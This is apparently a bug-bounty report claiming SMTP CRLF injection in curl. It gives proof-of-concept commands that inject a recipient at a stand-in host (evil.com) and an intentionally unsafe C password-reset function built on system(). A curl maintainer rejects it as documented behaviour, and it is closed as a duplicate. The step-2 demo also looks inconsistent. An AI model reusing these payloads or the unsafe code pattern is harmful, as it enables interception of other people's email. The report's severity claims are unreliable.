SMTP CRLF Injection in curl/libcurl via MAIL FROM/RCPT TO parameters
漏洞ID: CURL-SMTP-CRLF-2024
CWE-93: CRLF序列不当处理
执行摘要
curl/libcurl在其SMTP实现中存在CRLF注入漏洞,攻击者可通过在邮箱地址中包含CR(\r)和LF(\n)字符来注入任意SMTP命令。
受影响版本
- curl 8.17.0(最新稳定版)- 确认存在漏洞
- 早期版本可能受影响
概念验证
1
2
3
4
5
|
# 易受攻击的命令 - 添加未授权收件人
curl --url "smtp://localhost:2525" \
--mail-from $'legit@company.com\r\nRCPT TO:<attacker@evil.com>' \
--mail-rcpt "employee@company.com" \
--upload-file message.txt
|
技术细节
漏洞代码位置: lib/smtp.c(第838-846行)
1
2
3
4
5
6
7
|
result = Curl_pp_sendf(data, &smtpc->pp, "MAIL FROM:%s%s%s%s%s%s",
from, // ← 无CRLF验证
auth ? " AUTH=" : "",
auth ? auth : "",
size ? " SIZE=" : "",
size ? size : "",
utf8 ? " SMTPUTF8" : "");
|
原始网络分析证据:
1
2
|
HEX: 4d41494c2046524f4d3a3c66696e616c40746573742e636f6d0d0a5243505420544f3a70726f6f66406576696c2e636f6d3e0d0a
TEXT: 'MAIL FROM:<final@test.com\r\nRCPT TO:proof@evil.com>\r\n'
|
复现环境
- 操作系统:Linux
- curl版本:8.17.0
- Python:3.11(用于测试服务器)
- 测试方法:本地SMTP服务器分析
影响
- 信息泄露:未授权邮件复制
- 隐私侵犯:秘密邮件拦截
- 访问控制绕过:规避应用级限制
- 任意命令注入:可能进一步操纵SMTP协议
修复建议
- 输入验证:拒绝包含控制字符的邮箱地址
- 字符转义:正确转义CR/LF序列
- 库补丁:实现类似于lib/cookie.c的验证
参考资料
讨论记录
haider790h提交报告: 2天前
bagder(curl工作人员)评论:
“这是文档中记录的工作方式。不是漏洞。”
haider790h回复:
展示实际安全影响的真实漏洞利用:
实时漏洞利用演示
步骤1:易受攻击的应用代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
// 示例:Web应用中的密码重置功能
void send_password_reset(const char *username) {
char email[256];
snprintf(email, sizeof(email), "%s@company.com", username);
// 不安全:用户输入直接传递给curl
char command[512];
snprintf(command, sizeof(command),
"curl --mail-from 'noreply@company.com' "
"--mail-rcpt '%s' "
"--upload-file reset_email.txt",
email);
system(command);
}
|
步骤2:攻击者利用
1
2
3
4
5
6
7
|
# 攻击者注册用户名:"admin\r\nRCPT TO:<hacker@evil.com>"
# 应用构建:admin\r\nRCPT TO:<hacker@evil.com>@company.com
# 生成的curl命令:
curl --mail-from 'noreply@company.com' \
--mail-rcpt 'admin\r\nRCPT TO:<hacker@evil.com>@company.com' \
--upload-file reset_email.txt
|
步骤3:SMTP会话结果
1
2
3
4
5
6
|
MAIL FROM:<noreply@company.com>
RCPT TO:<admin
RCPT TO:<hacker@evil.com>@company.com> ← 注入的命令!
DATA
Subject: Password Reset
Your reset token: ABC123
|
影响: 攻击者接收所有用户的密码重置邮件!
技术对比
在lib/cookie.c中:
1
2
3
4
5
6
7
8
9
|
static bool invalid_octets(const char *ptr) {
// 明确拒绝CR/LF以确保安全
while(*ptr) {
if(((*ptr != 9) && (*ptr < 0x20)) || (*ptr == 0x7f))
return TRUE; // ← 安全
ptr++;
}
return FALSE;
}
|
在lib/smtp.c中:
1
2
3
|
// 无验证 - 允许CR/LF注入
result = Curl_pp_sendf(data, &smtpc->pp, "MAIL FROM:%s", from);
// ↑ 存在漏洞
|
报告状态: 已关闭,标记为"不适用"
最终说明: 此报告是#3414088、#3387499、#3357960和#3235428的重复报告。